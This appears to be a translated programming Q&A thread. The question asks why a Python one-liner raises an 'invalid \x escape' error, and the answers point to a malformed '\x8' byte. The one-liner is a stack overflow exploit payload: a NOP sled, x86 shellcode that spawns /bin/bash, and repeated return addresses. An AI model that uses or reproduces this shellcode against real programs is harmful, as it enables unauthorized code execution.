2011-08-05 40 views
11
python -c 'print "\x90" * 348 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x8\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x30\xd1\xff\xff" * 35' 
ValueError: invalid \x escape 

任何想法是什麼原因導致此錯誤?ValueError:無效 x轉義

回答

10

你在這個字符串有\x8\,將其更改爲\x08

+4

你能解釋一下爲什麼這能解決問題 –

6

\x8,最有可能的。它應該是兩個十六進制數字每個逃生。

4

\x8不正確。

相關問題